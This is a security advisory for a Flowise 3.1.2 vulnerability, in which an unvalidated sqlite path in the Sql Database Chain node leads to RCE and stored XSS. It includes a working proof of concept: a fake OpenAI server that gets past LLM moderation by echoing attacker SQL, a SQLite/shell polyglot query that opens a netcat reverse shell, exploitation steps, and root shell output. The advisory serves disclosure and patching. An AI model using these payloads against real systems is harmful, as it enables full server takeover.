GHSA-PWFJ-WH95-7MWP
Flowise RCE via SQL Database Chain Node
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 3.1.4 | flowise · -33 d desde divulgación | |
| Divulgación | Publicada | GHSA-PWFJ-WH95-7MWP divulgada · CVSS 9.4 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
=============================================================================
Security Advisory
elttam
Topic: Flowise RCE via SQL Database Chain Node
Module: FlowiseAI/Flowise
Disclosed: 21-Apr-2026
Credits: Alex Brown
Affects: `FlowiseAI/Flowise 3.1.2`
I. Background
Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.
Flowise enables the creation of database agents by leveraging LangChain's `SqlDatabaseChain` https://github.com/langchain-ai/langchainjs/blob/589f29ce844eb252c2d5e6b0f8d26de37763a0d7/libs/langchain-classic/src/chains/sql_db/sql_db_chain.ts#L68 through its [`Sql Database Chain` node]((https://github.com/FlowiseAI/Flowise/blob/0c6924bb08a2156513b447d0e600651f29ea5aa8/packages/components/nodes/chains/SqlDatabaseChain/SqlDatabaseChain.ts)).
II. Problem Description
The `Sql Database Chain` node supports connecting to `sqlite` databases with a user provided file path without input validation, as shown in the code snippet below.
https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/chains/SqlDatabaseChain/SqlDatabaseChain.ts https://github.com/FlowiseAI/Flowise/blob/flowise-components%403.1.2/packages/components/nodes/chains/SqlDatabaseChain/SqlDatabaseChain.ts
class SqlDatabaseChain_Chains implements INode {
label: string
name: string
version: number
type: string
icon: string
category: string
baseClasses: string[]
description: string
inputs: INodeParams[]
constructor() {
this.label = 'Sql Database Chain'
this.name = 'sqlDatabaseChain'
...
this.inputs = [
{
label: 'Language Model',
name: 'model',
type: 'BaseLanguageModel'
},
{
label: 'Database',
name: 'database',
type: 'options',
options: [
{
label: 'SQLite',
name: 'sqlite' <1>
},
{
label: 'PostgreSQL',
name: 'postgres'
},
{
label: 'MSSQL',
name: 'mssql'
},
{
label: 'MySQL',
name: 'mysql'
}
],
default: 'sqlite'
},
{
label: 'Connection string or file path (sqlite only)',
name: 'url', <2>
type: 'string',
placeholder: '127.0.0.1:5432/chinook'
},
...
]
}
async init(nodeData: INodeData): Promise<any> {
const databaseType = nodeData.inputs?.database as DatabaseType <1>
const model = nodeData.inputs?.model as BaseLanguageModel
const url = nodeData.inputs?.url as string <2>
const includesTables = nodeData.inputs?.includesTables
const splittedIncludesTables = includesTables == '' ? undefined : includesTables?.split(',')
const ignoreTables = nodeData.inputs?.ignoreTables
const splittedIgnoreTables = ignoreTables == '' ? undefined : ignoreTables?.split(',')
const sampleRowsInTableInfo = nodeData.inputs?.sampleRowsInTableInfo as number
const topK = nodeData.inputs?.topK as number
const customPrompt = nodeData.inputs?.customPrompt as string
const chain = await getSQLDBChain(
databaseType,
url,
model,
splittedIncludesTables,
splittedIgnoreTables,
sampleRowsInTableInfo,
topK,
customPrompt
)
return chain
}
...
}
const getSQLDBChain = async (
databaseType: DatabaseType,
url: string,
llm: BaseLanguageModel,
includesTables?: string[],
ignoreTables?: string[],
sampleRowsInTableInfo?: number,
topK?: number,
customPrompt?: string
) => {
const datasource = new DataSource(
databaseType === 'sqlite' <1>
? {
type: databaseType,
database: url <2>
}
: ({
type: databaseType,
url: url
} as DataSourceOptions)
)
const db = await SqlDatabase.fromDataSourceParams({
appDataSource: datasource,
includesTables: includesTables,
ignoreTables: ignoreTables,
sampleRowsInTableInfo: sampleRowsInTableInfo
})
const obj: SqlDatabaseChainInput = {
llm,
database: db,
verbose: process.env.DEBUG === 'true' ? true : false,
topK: topK
}
if (customPrompt) {
customPrompt = transformBracesWithColon(customPrompt)
const options: PromptTemplateInput = {
template: customPrompt,
inputVariables: getInputVariables(customPrompt)
}
obj.prompt = new PromptTemplate(options)
}
const chain = new SqlDatabaseChain(obj) <3>
return chain
}<1> Allows connecting to a local `sqlite` database.
<2> Allows the user to provide a file path without validation.
<3> Initialises an instance of LangChain's `SqlDatabaseChain` https://github.com/langchain-ai/langchainjs/blob/589f29ce844eb252c2d5e6b0f8d26de37763a0d7/libs/langchain-classic/src/chains/sql_db/sql_db_chain.ts#L68.
The combination of permitting connections to a local `sqlite` database and the absence of path validation introduces a critical security risk. An attacker can write a malicious `sqlite` database file to arbitrary filesystem locations. This vulnerability was demonstrated on the `flowiseai/flowise:3.1.2` https://hub.docker.com/layers/flowiseai/flowise/3.1.2/images/sha256-ddba104d8e50fbc1e72c6fe021d012be83e66d78d26816e1a6a3fddab4212eff image, leading to the following impacts:
- Remote Code Execution (RCE) by placing a crafted `sqlite` database in the `/etc/chromium` directory.
- Stored Cross-Site Scripting (XSS) by placing a crafted `sqlite` database in the `/usr/local/lib/node_modules/flowise/node_modules/flowise-ui/build/` directory.
The subsections below explain how the RCE and stored XSS impact was achieved by exploiting this vulnerability.
II.A Arbitrary SQL Execution on the `sqlite` Database
The `Sql Database Chain` node requires a `BaseLanguageModel` input to generate SQL queries from user prompts. While Large Language Models (LLMs) could be leveraged to produce malicious SQL queries executed against the connected `sqlite` database, most LLMs include built-in moderation controls to reduce such risks. These safeguards can be bypassed by altering the `basepath` parameter of the `BaseLanguageModel` node to point to a controlled web server.
The following Python code provides a mock implementation of the OpenAI `POST /chat/completions` API endpoint that echoes the SQL query from the input chat message. This facilitates exploitation of this vulnerability to achieve RCE and stored XSS.
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
PORT = 1234
RESPONSE_TMPL = """{
"id": "chatcmpl-DVcMdeEKg78Mvhjmik2QGrWmmNTz8",
"object": "chat.completion",
"created": 1776428011,
"model": "gpt-4o-mini-2024-07-18",
"choices": [
{
"index": 0,
"message": {
"role": "assistant",
"content": "<SQL>",
"refusal": null,
"annotations": []
},
"logprobs": null,
"finish_reason": "stop"
}
],
"usage": {
"prompt_tokens": 57,
"completion_tokens": 7,
"total_tokens": 64,
"prompt_tokens_details": {
"cached_tokens": 0,
"audio_tokens": 0
},
"completion_tokens_details": {
"reasoning_tokens": 0,
"audio_tokens": 0,
"accepted_prediction_tokens": 0,
"rejected_prediction_tokens": 0
}
},
"service_tier": "default",
"system_fingerprint": "fp_2153ead53d"
}"""
class FakeOpenAIHandler(BaseHTTPRequestHandler):
def do_POST(self):
print("received connection")
content_length = int(self.headers.get("Content-Length"))
req = self.rfile.read(content_length).decode()
req_json = json.loads(req)
print(json.dumps(req_json, indent=4))
sql = req_json["messages"][0]["content"].split("---")[0]
sql = sql.replace("\n", "")
sql = sql.replace('"', '\\"')
print(f"responding sql: {sql}")
resp = RESPONSE_TMPL.replace("<SQL>", sql).encode()
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
print(resp.decode())
print(json.dumps(json.loads(resp.decode()), indent=4))
self.wfile.write(resp)
return
if __name__ == "__main__":
httpd = HTTPServer(("0.0.0.0", PORT), FakeOpenAIHandler)
httpd.serve_forever()II.B RCE via File Write to the `/etc/chromium` Directory
The `flowiseai/flowise:3.1.2` https://hub.docker.com/layers/flowiseai/flowise/3.1.2/images/sha256-ddba104d8e50fbc1e72c6fe021d012be83e66d78d26816e1a6a3fddab4212eff image runs as the `root` user, as shown in the following `Dockerfile`, which is considered an insecure configuration for container runtimes.
https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/docker/Dockerfile https://github.com/FlowiseAI/Flowise/blob/flowise-components%403.1.2/docker/Dockerfile
# Stage 1: Build stage
FROM node:20-alpine AS build
USER root
# Skip downloading Chrome for Puppeteer (saves build time)
ENV PUPPETEER_SKIP_DOWNLOAD=true
# Install latest Flowise globally (specific version can be set: flowise@1.0.0)
RUN npm install -g flowise
# Stage 2: Runtime stage
FROM node:20-alpine <1>
# Install runtime dependencies
RUN apk add --no-cache chromium git python3 py3-pip make g++ build-base cairo-dev pango-dev curl
# Set the environment variable for Puppeteer to find Chromium
ENV PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser <2>
# Copy Flowise from the build stage
COPY --from=build /usr/local/lib/node_modules /usr/local/lib/node_modules
COPY --from=build /usr/local/bin /usr/local/bin
ENTRYPOINT ["flowise", "start"]<1> Default user for the `node:20-alpine` image is `root` and the current user is not changed to a low-privileged user.
<2> The path to `chromium` browser that Puppeteer executes in the `Puppeteer Web Scraper` node https://github.com/FlowiseAI/Flowise/blob/0c6924bb08a2156513b447d0e600651f29ea5aa8/packages/components/nodes/documentloaders/Puppeteer/Puppeteer.ts .
This enables the `sqlite` database to be written to arbitrary locations on the container filesystem, including system configuration directories such as `/etc`. Notably, the `/etc/chromium` configuration folder is of particular interest, as the `chromium` browser processes `.conf` files as shell scripts, as illustrated in the `chromium-browser` code snippet below.
`/usr/bin/chromium-browser -> /usr/lib/chromium/chromium-launcher.sh`
#!/bin/sh
for f in /etc/chromium/*.conf; do
[ -f "$f" ] && . "$f" <1>
done
# Append CHROMIUM_USER_FLAGS (from env) on top of system
# default CHROMIUM_FLAGS (from /etc/chromium/chromium.conf).
CHROMIUM_FLAGS="$CHROMIUM_FLAGS ${CHROMIUM_USER_FLAGS:+"$CHROMIUM_USER_FLAGS"}"
# Let the wrapped binary know that it has been run through the wrapper
export CHROME_WRAPPER="$(readlink -f "$0")"
PROGDIR=${CHROME_WRAPPER%/*}
case ":$PATH:" in
*:$PROGDIR:*)
# $PATH already contains $PROGDIR
;;
*)
# Append $PROGDIR to $PATH
export PATH="$PATH:$PROGDIR"
;;
esac
if [ $(id -u) -eq 0 ] && [ $(stat -c %u -L ${XDG_CONFIG_HOME:-${HOME}}) -eq 0 ]; then
# Running as root with HOME owned by root.
# Pass --user-data-dir to work around upstream failsafe.
CHROMIUM_FLAGS="--user-data-dir=${XDG_CONFIG_HOME:-"$HOME"/.config}/chromium $CHROMIUM_FLAGS"
fi
# Set the .desktop file name
export CHROME_DESKTOP="chromium.desktop"
export CHROME_VERSION_EXTRA="Alpine Linux"
exec "$PROGDIR/chromium" ${CHROMIUM_FLAGS} "$@"<1> Equivalent to `source "$f"`, which loads all `/etc/chromium/*.conf` files as a shell script.
Executing the following SQL query in an empty `sqlite` database results in a SQLite/shell script polyglot file that executes the reverse shell payload `/usr/bin/nc 172.17.0.1 1337 -e /bin/sh` when executed using `/bin/sh`.
CREATE TABLE `$($(/usr/bin/nc${IFS}172.17.0.1${IFS}1337${IFS}-e${IFS}/bin/sh)) # ` AS SELECT '`$(id)` # ' AS `$(id) # `;The following steps document the procedure to exploit this vulnerability to achieve RCE.
- Start up the webserver in section II.A of this report.
- Import the following Chatflow that will save a crafted `sqlite` database to `/etc/chromium/exploit.conf`. Ensure that the `basepath` for the OpenAI node is configured to the webserver from step 1, then send any chat message to create the malicious `sqlite` database.
sqlite-sqlchain-write-chromium-conf.json https://github.com/user-attachments/files/26934776/sqlite-sqlchain-write-chromium-conf.json
- Import the following Chatflow to trigger executing `/etc/chromium/exploit.conf` as a shell script using Puppeteer. Start an "Upsert Vector Database" operation and observe a reverse shell connection being established, as shown in the following terminal output.
sqlite-sqlchain-puppeteer-trigger.json https://github.com/user-attachments/files/26934784/sqlite-sqlchain-puppeteer-trigger.json
$ nc -lnvp 1337
Listening on 0.0.0.0 1337
Connection received on 172.17.0.2 41545
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
ps aux
PID USER TIME COMMAND
1 root 0:17 node /usr/local/bin/flowise start
17 root 0:00 sh
33 root 0:00 {chromium-browse} /bin/sh /usr/bin/chromium-browser --allow-pre-commit-input --disable-background-networking --disable-background-timer-throttling --disable-backgrounding-occluded-windows --disable-breakpad --disable-client-side-phishing-detection --disable-component-extensions-with-background-pages --disable-component-update --disable-default-apps --disable-dev-shm-usage --disable-features=Translate,BackForwardCache,AcceptCHFrame,MediaRouter,OptimizationHints --disable-hang-monitor --disable-ipc-flooding-protection --disable-popup-blocking --disable-prompt-on-repost --disable-renderer-backgrounding --disable-sync --enable-automation --enable-blink-features=IdleDetection --enable-features=NetworkServiceInProcess2 --export-tagged-pdf --force-color-profile=srgb --metrics-recording-only --no-first-run --password-store=basic --use-mock-keychain --headless=new --hide-scrollbars --mute-audio about:blank --no-sandbox --remote-debugging-port=0 --user-data-dir=/tmp/puppeteer_dev_chrome_profile-LkMBig
34 root 0:00 {chromium-browse} /bin/sh /usr/bin/chromium-browser --allow-pre-commit-input --disable-background-networking --disable-background-timer-throttling --disable-backgrounding-occluded-windows --disable-breakpad --disable-client-side-phishing-detection --disable-component-extensions-with-background-pages --disable-component-update --disable-default-apps --disable-dev-shm-usage --disable-features=Translate,BackForwardCache,AcceptCHFrame,MediaRouter,OptimizationHints --disable-hang-monitor --disable-ipc-flooding-protection --disable-popup-blocking --disable-prompt-on-repost --disable-renderer-backgrounding --disable-sync --enable-automation --enable-blink-features=IdleDetection --enable-features=NetworkServiceInProcess2 --export-tagged-pdf --force-color-profile=srgb --metrics-recording-only --no-first-run --password-store=basic --use-mock-keychain --headless=new --hide-scrollbars --mute-audio about:blank --no-sandbox --remote-debugging-port=0 --user-data-dir=/tmp/puppeteer_dev_chrome_profile-LkMBig
35 root 0:00 /bin/sh
37 root 0:00 ps auxII.C Stored XSS via File Write to the `/usr/local/lib/node_modules/flowise/node_modules/flowise-ui/build/` Directory
The frontend code for Flowise is located at `/usr/local/lib/node_modules/flowise/node_modules/flowise-ui/build/` in the `flowiseai/flowise:3.1.2` https://hub.docker.com/layers/flowiseai/flowise/3.1.2/images/sha256-ddba104d8e50fbc1e72c6fe021d012be83e66d78d26816e1a6a3fddab4212eff image, as shown in the following code snippet.
https://github.com/FlowiseAI/Flowise/blob/311a3f47d05b6fe0fae9e5390afcd007be34c981/packages/server/src/index.ts https://github.com/FlowiseAI/Flowise/blob/311a3f47d05b6fe0fae9e5390afcd007be34c981/packages/server/src/index.ts
const packagePath = getNodeModulesPackagePath('flowise-ui')
const uiBuildPath = path.join(packagePath, 'build') <1>
const uiHtmlPath = path.join(packagePath, 'build', 'index.html')
this.app.use('/', express.static(uiBuildPath)) <2><1> Resolves to `/usr/local/lib/node_modules/flowise/node_modules/flowise-ui/build/` in the `flowiseai/flowise:3.1.2` https://hub.docker.com/layers/flowiseai/flowise/3.1.2/images/sha256-ddba104d8e50fbc1e72c6fe021d012be83e66d78d26816e1a6a3fddab4212eff Docker image.
<2> Sets the static path to `/usr/local/lib/node_modules/flowise/node_modules/flowise-ui/build/`.
The following steps document the procedure to write a malicious HTML file that executes arbitrary JavaScript when visited by a victim user.
- Start up the webserver in section II.A of this report.
- Import the following Chatflow that will generate a malicious `sqlite` database containing HTML code to `/usr/local/lib/node_modules/flowise/node_modules/flowise-ui/build/xss.html`. Ensure that the `basepath` for the OpenAI node is configured to the webserver from step 1, then send any chat message to create the malicious `sqlite` database.
sqlite-sqlchain-stored-xss.json https://github.com/user-attachments/files/26934803/sqlite-sqlchain-stored-xss.json
- Navigate to `http://{FLOWISE_HOST}/xss.html` and observe an `alert` box being displayed, as shown in the following screenshot.
<img width="2239" height="1170" alt="sqlite-sqlchain-xss" src="https://github.com/user-attachments/assets/a2af8dd2-3fdf-445b-a88f-ecdf94f1f4a8" />
III. Impact
An authenticated user on a Flowise instance using the published Docker image could exploit this vulnerability to achieve RCE, resulting in full compromise of the application.
Alternatively, an attacker could exploit this issue to write malicious HTML files to the frontend folder location that could be leveraged in XSS attacks against other users on the Flowise instance.
IV. Solution
Consider performing the following remediation activities:
- Disable allowing `sqlite` databases for the `Sql Database Chain` node by default, due to the risk of arbitrary file write or access to the `$HOME/.flowise/database.sqlite` database file.
- Use a low-privileged user for container runtimes instead of the privileged `root` user, since the `root` user has file access to the entire filesystem of the container.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmflowise |
Corregida | 3.1.4 | -33 d | 3.1.4 no afectada |
npmflowise-components |
Corregida | 3.1.4 | -33 d | 3.1.4 no afectada |
3.1.4Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-pwfj-wh95-7mwpLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
